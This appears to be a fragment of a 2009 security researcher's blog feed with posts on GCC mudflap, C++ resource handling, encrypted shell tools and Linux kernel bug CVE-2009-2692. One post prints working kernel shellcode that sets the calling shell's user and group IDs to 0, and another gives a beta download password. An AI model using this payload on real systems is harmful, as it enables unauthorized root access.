rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_DbsW_SGQJgI/TByDOsyR7EI/AAAAAAAAAH8/JSX9zRWHwMY/S220/tux-root.png'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3606809368389861108.post-7086417035920815549</id><published>2009-09-22T04:24:00.000-07:00</published><updated>2009-09-22T04:32:14.825-07:00</updated><title type='text'>GCC -fmudflap</title><content type='html'>&lt;span style="font-family:courier new;"&gt;Programs compiled with &lt;span style="font-weight: bold;"&gt;-fmudflap&lt;/span&gt; are given &lt;span style="font-style: italic;"&gt;protection&lt;/span&gt; by &lt;span style="font-style: italic;"&gt;GCC&lt;/span&gt;&lt;br /&gt;against overflow conditions etc. The &lt;span style="font-style: italic;"&gt;GCC&lt;/span&gt; then adds a runtime&lt;br /&gt;to track&amp;amp;check operations on arrays etc..&lt;br /&gt;To specify runtime behavior, you can pass various&lt;br /&gt;options via the &lt;span style="font-style: italic;"&gt;$MUDFLAP_OPTIONS&lt;/span&gt; environment variable.&lt;br /&gt;If we look how the mudflap runtime is&lt;br /&gt;handling these options, we have:&lt;br /&gt;&lt;br /&gt;...&lt;br /&gt;  case viol_gdb:&lt;br /&gt;&lt;br /&gt;    snprintf (buf, 128, "gdb --pid=%u", (unsigned) getpid ());&lt;br /&gt;    system (buf);&lt;br /&gt;...&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Note, that &lt;span style="font-style: italic;"&gt;mudflap&lt;/span&gt; is made for security reasons. For programs&lt;br /&gt;like network servers or &lt;span style="font-weight: bold;"&gt;setuid binaries&lt;/span&gt;.&lt;br /&gt;I made a bugzilla entry into the &lt;span style="font-style: italic;"&gt;GCC&lt;/span&gt; bugzilla since this&lt;br /&gt;should be changed somehow :)&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3606809368389861108-7086417035920815549?l=c-skills.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://c-skills.blogspot.com/feeds/7086417035920815549/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3606809368389861108&amp;postID=7086417035920815549' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3606809368389861108/posts/default/7086417035920815549'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3606809368389861108/posts/default/7086417035920815549'/><link rel='alternate' type='text/html' href='http://c-skills.blogspot.com/2009/09/gcc-fmudflap.html' title='GCC -fmudflap'/><author><name>Sebastian</name><uri>http://www.blogger.com/profile/11886596387140041622</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_DbsW_SGQJgI/TByDOsyR7EI/AAAAAAAAAH8/JSX9zRWHwMY/S220/tux-root.png'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3606809368389861108.post-6910211150840076086</id><published>2009-09-21T23:25:00.000-07:00</published><updated>2009-09-21T23:30:03.036-07:00</updated><title type='text'>Small improvement for inotify</title><content type='html'>&lt;span style="font-family: courier new;"&gt;The &lt;a href="http://www.suse.de/%7Ekrahmer/inotify.cc"&gt;inotify&lt;/a&gt; tool got a small improvement yesterday, so you&lt;br /&gt;can pass &lt;span style="font-weight: bold;"&gt;-r&lt;/span&gt; (recursion) to it. It now also allows you to recursively&lt;br /&gt;watch newly created/modified/deleted/accessed files/dirs&lt;br /&gt;in newly created subdirs of the watched directory.&lt;br /&gt;This already showed me some differences between &lt;span style="font-style: italic;"&gt;man&lt;/span&gt; versions :)&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3606809368389861108-6910211150840076086?l=c-skills.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://c-skills.blogspot.com/feeds/6910211150840076086/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3606809368389861108&amp;postID=6910211150840076086' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3606809368389861108/posts/default/6910211150840076086'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3606809368389861108/posts/default/6910211150840076086'/><link rel='alternate' type='text/html' href='http://c-skills.blogspot.com/2009/09/small-improvement-for-inotify.html' title='Small improvement for inotify'/><author><name>Sebastian</name><uri>http://www.blogger.com/profile/11886596387140041622</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_DbsW_SGQJgI/TByDOsyR7EI/AAAAAAAAAH8/JSX9zRWHwMY/S220/tux-root.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3606809368389861108.post-3840624411502435057</id><published>2009-09-14T01:53:00.000-07:00</published><updated>2009-09-14T02:00:00.973-07:00</updated><title type='text'>un-evil code</title><content type='html'>&lt;span style="font-family: courier new;"&gt;I had incredible dl statistics for &lt;span style="font-style: italic;"&gt;gc.cc &lt;/span&gt;(see last posting). Even&lt;br /&gt;better than for exploits, years ago when I was publishing them.&lt;br /&gt;Seems to me I should switch completely to write robust and boring&lt;br /&gt;application code which is much more appreciated by the public.&lt;br /&gt;&lt;br /&gt;Nevertheless, since there have not been reports about&lt;br /&gt;&lt;a href="http://stealth.openwall.net/crash"&gt;crash&lt;/a&gt; containing major bugs or alike, I removed the beta-test&lt;br /&gt;password from the directory.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3606809368389861108-3840624411502435057?l=c-skills.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://c-skills.blogspot.com/feeds/3840624411502435057/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3606809368389861108&amp;postID=3840624411502435057' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3606809368389861108/posts/default/3840624411502435057'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3606809368389861108/posts/default/3840624411502435057'/><link rel='alternate' type='text/html' href='http://c-skills.blogspot.com/2009/09/un-evil-code.html' title='un-evil code'/><author><name>Sebastian</name><uri>http://www.blogger.com/profile/11886596387140041622</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_DbsW_SGQJgI/TByDOsyR7EI/AAAAAAAAAH8/JSX9zRWHwMY/S220/tux-root.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3606809368389861108.post-576585581344859972</id><published>2009-09-04T06:53:00.000-07:00</published><updated>2009-09-05T04:48:05.201-07:00</updated><title type='text'>C++ local_scope&lt;&gt; template</title><content type='html'>&lt;span style="font-family:courier new;"&gt;If you write a lot of code (and I know, some of the readers&lt;br /&gt;actually &lt;span style="font-weight: bold;"&gt;do&lt;/span&gt; :), depending on your style, you often run&lt;br /&gt;into situations where you allocate some ressource like&lt;br /&gt;&lt;span style="font-style: italic;"&gt;fopen()&lt;/span&gt;ing some files or allocing memory and later&lt;br /&gt;you realize some error-condition and you properly need&lt;br /&gt;to &lt;span style="font-style: italic;"&gt;fclose()/free()&lt;/span&gt; all the stuff in the right order&lt;br /&gt;and depending on what was allocated yet.&lt;br /&gt;This leads to a lot of copy-n-paste code and often&lt;br /&gt;plain wrong code or even better security breaches :)&lt;br /&gt;&lt;br /&gt;If you like C++, you can have a look &lt;a href="http://stealth.openwall.net/misc/gc.cc"&gt;here&lt;/a&gt; to avoid&lt;br /&gt;all these problems.&lt;br /&gt;&lt;br /&gt;You can register FILE pointers, file-descriptors or&lt;br /&gt;memory regions to a &lt;span style="font-style: italic;"&gt;local_scope&lt;&gt;&lt;/span&gt; template and it&lt;br /&gt;automatically closes/releases ressources when you leave scope&lt;br /&gt;(also in right order).It is as easy as&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;local_scope&amp;lt;int&amp;gt; fd(open("/tmp/x2", O_RDONLY), close);&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;and you can use fd afterwards like you'd normally use&lt;br /&gt;your descriptor. If you need to return due to some&lt;br /&gt;other error condition, the file is closed when the&lt;br /&gt;scope is left.Other ressources like lock's etc could easily&lt;br /&gt;be added by extending &lt;span style="font-style: italic;"&gt;local_scope&lt;&gt;&lt;/span&gt;.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3606809368389861108-576585581344859972?l=c-skills.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://c-skills.blogspot.com/feeds/576585581344859972/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3606809368389861108&amp;postID=576585581344859972' title='3 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3606809368389861108/posts/default/576585581344859972'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3606809368389861108/posts/default/576585581344859972'/><link rel='alternate' type='text/html' href='http://c-skills.blogspot.com/2009/09/c-localscope-template.html' title='C++ local_scope&lt;&gt; template'/><author><name>Sebastian</name><uri>http://www.blogger.com/profile/11886596387140041622</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_DbsW_SGQJgI/TByDOsyR7EI/AAAAAAAAAH8/JSX9zRWHwMY/S220/tux-root.png'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3606809368389861108.post-4606783657631844105</id><published>2009-08-28T05:47:00.000-07:00</published><updated>2009-08-28T05:59:26.929-07:00</updated><title type='text'>rewrote Port Shell Crypter</title><content type='html'>&lt;span style="font-family:courier new;"&gt;I rewrote &lt;a href="http://stealth.openwall.net/crypto/"&gt;PSC&lt;/a&gt;, a tool to upgrade plaintext and/or&lt;br /&gt;sessions without a tty across networks (even via&lt;br /&gt;multiple hops) to a full crypted pty based session.&lt;br /&gt;&lt;br /&gt;It works by doing the handshake and crypto across&lt;br /&gt;the terminal layer instead of using network calls. The whole&lt;br /&gt;code does not need any networking functionality.&lt;br /&gt;If you have a chained session from host A to D like&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;A -&gt; B -&gt; C -&gt; D&lt;/span&gt; and before starting the session you start your&lt;br /&gt;local &lt;span style="font-style: italic;"&gt;psc&lt;/span&gt; tool on host &lt;span style="font-weight: bold;"&gt;A&lt;/span&gt; and as soon as on host &lt;span style="font-weight: bold;"&gt;D&lt;/span&gt; you start&lt;br /&gt;the other endpoint, the full chain is encrypted and nobody&lt;br /&gt;on &lt;span style="font-weight: bold;"&gt;B&lt;/span&gt; and &lt;span style="font-weight: bold;"&gt;C&lt;/span&gt; can see or modify what you are typing.&lt;br /&gt;Evil administrators on intermediate hosts (&lt;span style="font-weight: bold;"&gt;B, C&lt;/span&gt;) might use&lt;br /&gt;&lt;span style="font-style: italic;"&gt;ptrace()&lt;/span&gt; or whatever to even sniff SSH sessions. Using &lt;span style="font-style: italic;"&gt;psc&lt;/span&gt;,&lt;br /&gt;this is not possible anymore.&lt;br /&gt;&lt;br /&gt;First, I wanted to make some video (since it seems very hip&lt;br /&gt;these days :) showing how a old &lt;span style="font-style: italic;"&gt;gitweb&lt;/span&gt; exploit makes a full&lt;br /&gt;pty crypto shell using psc so you could use 'mc' etc.&lt;br /&gt;on it at the end. However, &lt;span style="font-style: italic;"&gt;xvidcap&lt;/span&gt; has some lib requirements&lt;br /&gt;which I cant give it on my machine yet without hours&lt;br /&gt;of recompilation and so I thought I do the release old-school. :)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3606809368389861108-4606783657631844105?l=c-skills.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://c-skills.blogspot.com/feeds/4606783657631844105/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3606809368389861108&amp;postID=4606783657631844105' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3606809368389861108/posts/default/4606783657631844105'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3606809368389861108/posts/default/4606783657631844105'/><link rel='alternate' type='text/html' href='http://c-skills.blogspot.com/2009/08/rewrote-port-shell-crypter.html' title='rewrote Port Shell Crypter'/><author><name>Sebastian</name><uri>http://www.blogger.com/profile/11886596387140041622</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_DbsW_SGQJgI/TByDOsyR7EI/AAAAAAAAAH8/JSX9zRWHwMY/S220/tux-root.png'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3606809368389861108.post-3727746494748899835</id><published>2009-08-21T05:58:00.000-07:00</published><updated>2009-08-21T06:03:15.658-07:00</updated><title type='text'>CRypted Administration SHell beta available</title><content type='html'>&lt;span style="font-family:courier new;"&gt;You can download &lt;span style="font-style: italic;"&gt;crash&lt;/span&gt; &lt;a href="http://stealth.openwall.net/crash/"&gt;here.&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;I started this project during last hackweek in July 09 and&lt;br /&gt;now found some time to finish it.&lt;br /&gt;Login/password is cr4sh/cr4sh. If you have any major problems&lt;br /&gt;please let me know, otherwise the release will be made&lt;br /&gt;available to a broader audience.&lt;br /&gt;crash has not yet been tested on slow/hanging networks&lt;br /&gt;and I'd be interested in feedback whether the chunksizes&lt;br /&gt;still do etc.&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3606809368389861108-3727746494748899835?l=c-skills.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://c-skills.blogspot.com/feeds/3727746494748899835/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3606809368389861108&amp;postID=3727746494748899835' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3606809368389861108/posts/default/3727746494748899835'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3606809368389861108/posts/default/3727746494748899835'/><link rel='alternate' type='text/html' href='http://c-skills.blogspot.com/2009/08/crypted-administration-shell-beta.html' title='CRypted Administration SHell beta available'/><author><name>Sebastian</name><uri>http://www.blogger.com/profile/11886596387140041622</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_DbsW_SGQJgI/TByDOsyR7EI/AAAAAAAAAH8/JSX9zRWHwMY/S220/tux-root.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3606809368389861108.post-5869848190753994594</id><published>2009-08-15T03:16:00.000-07:00</published><updated>2009-08-16T23:28:04.762-07:00</updated><title type='text'>CVE-2009-2692 and android; mitigation</title><content type='html'>&lt;span style="font-family:courier new;"&gt;&lt;span style="font-weight: bold;"&gt;Update:{ &lt;/span&gt;it seems like someone else have had more time than me&lt;br /&gt;checking out the CVE-2009-2692 vulnerability and the -EINVAL&lt;br /&gt;vs. -EPERM issue on android. As already stated below, one&lt;br /&gt;should check the ELF loader and how it handles PT_LOAD&lt;br /&gt;segments of 0-addr.And, it seems that it did the trick!&lt;br /&gt;At least from reading &lt;a href="http://www.ryebrye.com/blog/2009/08/16/android-rooting-in-1-click-in-progress/"&gt;their exploit.&lt;/a&gt;&lt;br /&gt;I didnt test it but it looks good to me.&lt;span style="font-weight: bold;"&gt;}&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;I made up a reliable exploit for CVE-2009-2692 myself with a generic&lt;br /&gt;kernel 2.6 x86-64 shellcode which has only a small stub in&lt;br /&gt;asm and does the rest in C.&lt;br /&gt;It works reliable across the various kernel versions and I hoped to pwn my android with it, but unfortunately it turned out that the running 2.6.27 kernel inside has proper &lt;span style="font-style: italic;"&gt;mmap_min_addr &lt;/span&gt;set to 0x1000 so this bug is out of the game. There is no suid for a&lt;br /&gt;PERSONALITY_SVR4 preload either. The thing that makes me&lt;br /&gt;wonder is, that it returns &lt;span style="font-style: italic;"&gt;-EINVAL&lt;/span&gt; instead of the common &lt;span style="font-style: italic;"&gt;-EPERM&lt;/span&gt;,&lt;br /&gt;so maybe some further research is required.&lt;br /&gt;Maybe linking the ELF binary's PT_LOAD segment to 0 helps :)&lt;br /&gt;&lt;br /&gt;The funny thing is that a lot &lt;span style="font-style: italic;"&gt;"&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family:courier new;"&gt;&lt;span style="font-style: italic;"&gt;CVE-2009-2692 exploit" &lt;/span&gt;queries&lt;br /&gt;from search engines point to this site and the crowd seem to have problems finding spender's &lt;span style="font-style: italic;"&gt;wunderbar_emporium.tgz&lt;/span&gt; :-)&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;&lt;/span&gt;&lt;br /&gt;If you are looking for easy mitigation of the attack&lt;br /&gt;on &lt;span style="font-style: italic;"&gt;openSUSE&lt;/span&gt; systems, call&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;echo 0x1000 &gt; /proc/sys/vm/mmap_min_addr&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;from a rootshell. Since there is no setuid &lt;span style="font-style: italic;"&gt;pulseaudio&lt;/span&gt; or&lt;br /&gt;&lt;span style="font-style: italic;"&gt;SELinux&lt;/span&gt; installed on &lt;span style="font-style: italic;"&gt;openSUSE&lt;/span&gt;, this kills any NULL ptr attacks.&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3606809368389861108-5869848190753994594?l=c-skills.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://c-skills.blogspot.com/feeds/5869848190753994594/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3606809368389861108&amp;postID=5869848190753994594' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3606809368389861108/posts/default/5869848190753994594'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3606809368389861108/posts/default/5869848190753994594'/><link rel='alternate' type='text/html' href='http://c-skills.blogspot.com/2009/08/cve-2009-2692-and-android-mitigation.html' title='CVE-2009-2692 and android; mitigation'/><author><name>Sebastian</name><uri>http://www.blogger.com/profile/11886596387140041622</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://2.bp.blogspot.com/_DbsW_SGQJgI/TByDOsyR7EI/AAAAAAAAAH8/JSX9zRWHwMY/S220/tux-root.png'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3606809368389861108.post-3677855662917980626</id><published>2009-08-14T04:35:00.000-07:00</published><updated>2009-08-16T02:04:51.844-07:00</updated><title type='text'>A .note on CVE-2009-2692</title><content type='html'>&lt;span style="font-family:courier new;"&gt;I recommend readin&lt;/span&gt;g &lt;a href="http://blog.cr0.org/2009/08/linux-null-pointer-dereference-due-to.html"&gt;this posting.&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;I am usually not commenting on other ppl's bug-findings. 100% of the fame and honor should&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;go to Tavis Ormandy and Julien Tinnes. If &lt;span style="font-style: italic;"&gt;spenders&lt;/span&gt; exploit is doing too much magic for you,&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;heres the simple code snippet, which, if mapped at 0x0&lt;/span&gt;&lt;span style="font-family:courier new;"&gt; gives you root:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;span style="font-style: italic; color: rgb(128, 128, 128);"&gt;// threadinfo = $0xffffffffffffe000 &amp;amp; %rsp&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic; color: rgb(128, 128, 128);"&gt;// task_struct offsets: current-&amp;gt;parent = 696 current-&amp;gt;uid = 1080&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;void&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; do_root_2_6_27_x8664()&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;{&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;        __asm__(&lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;""&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;        &lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;"xor    %rax,%rax&lt;/span&gt;&lt;span style="color: rgb(255, 0, 255);"&gt;\n&lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;"&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;        &lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;"mov    $0xffffffffffffe000,%rax&lt;/span&gt;&lt;span style="color: rgb(255, 0, 255);"&gt;\n&lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;"&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;     &lt;/span&gt;&lt;span style="font-style: italic; color: rgb(128, 128, 128);"&gt;/* find threadinfo */&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;        &lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;"and    %rsp,%rax&lt;/span&gt;&lt;span style="color: rgb(255, 0, 255);"&gt;\n&lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;"&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;        &lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;"mov    (%rax),%rax&lt;/span&gt;&lt;span style="color: rgb(255, 0, 255);"&gt;\n&lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;"&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;                  &lt;/span&gt;&lt;span style="font-style: italic; color: rgb(128, 128, 128);"&gt;/* threadinfo-&amp;gt;task     */&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;        &lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;"mov    696(%rax),%rax&lt;/span&gt;&lt;span style="color: rgb(255, 0, 255);"&gt;\n&lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;"&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;               &lt;/span&gt;&lt;span style="font-style: italic; color: rgb(128, 128, 128);"&gt;/* task-&amp;gt;parent         */&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;        &lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;"movl   $0,1080(%rax)&lt;/span&gt;&lt;span style="color: rgb(255, 0, 255);"&gt;\n&lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;"&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;                &lt;/span&gt;&lt;span style="font-style: italic; color: rgb(128, 128, 128);"&gt;/* task-&amp;gt;uid = 0        */&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;        &lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;"movl   $0,1084(%rax)&lt;/span&gt;&lt;span style="color: rgb(255, 0, 255);"&gt;\n&lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;"&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;                &lt;/span&gt;&lt;span style="font-style: italic; color: rgb(128, 128, 128);"&gt;/* task-&amp;gt;euid = 0       */&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;        &lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;"movl   $0,1088(%rax)&lt;/span&gt;&lt;span style="color: rgb(255, 0, 255);"&gt;\n&lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;"&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;                &lt;/span&gt;&lt;span style="font-style: italic; color: rgb(128, 128, 128);"&gt;/* task-&amp;gt;suid = 0       */&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;        &lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;"movl   $0,1092(%rax)&lt;/span&gt;&lt;span style="color: rgb(255, 0, 255);"&gt;\n&lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;"&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;                &lt;/span&gt;&lt;span style="font-style: italic; color: rgb(128, 128, 128);"&gt;/* task-&amp;gt;fsuid = 0      */&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;        &lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;"movl   $0,1096(%rax)&lt;/span&gt;&lt;span style="color: rgb(255, 0, 255);"&gt;\n&lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;"&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;                &lt;/span&gt;&lt;span style="font-style: italic; color: rgb(128, 128, 128);"&gt;/* task-&amp;gt;gid = 0        */&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;        &lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;"movl   $0,1100(%rax)&lt;/span&gt;&lt;span style="color: rgb(255, 0, 255);"&gt;\n&lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;"&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;                &lt;/span&gt;&lt;span style="font-style: italic; color: rgb(128, 128, 128);"&gt;/* task-&amp;gt;egid = 0       */&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;        &lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;"leaveq&lt;/span&gt;&lt;span style="color: rgb(255, 0, 255);"&gt;\n&lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;"&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;);&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;}&lt;/span&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;It doesn't disable SELinux or so, its just for understanding that for simple rootshell you only&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;need to give the parent of the exploit (which is usually the shell that started the exploit)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;UID/EUID of 0. The code is a modification of shellcode I used in a bluetooth kernel&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;PoC exploit 4 years or so ago.The code will cause a segfault&lt;br /&gt;to the current process which does not matter since we&lt;br /&gt;only care about the parent shell which obtains its root privs.&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;So, how much magic is there with the exploit?&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Greetings to the people at HAR, I am sad I cannot attend this time :(&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3606809368389861108-3677855662917980626?l=c-skills.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://c-skills.blogspot.com/feeds/3677855662917980626/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3606809368389861108&amp;postID=3677855662917980626' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3606809368389861108/posts/default/3677855662917980626'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3606809368389861108/posts/default/3677855662917980626'/><link rel='alternate' type='text/html' href='http://c-skills.blogspot.com/2009/08/note-on-cve-2009-2692.html' title='A .note on CVE-2009-2692'/><author><name>Sebastian</name><uri>http://www.blogger.com/profile/11886596387140041622</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' 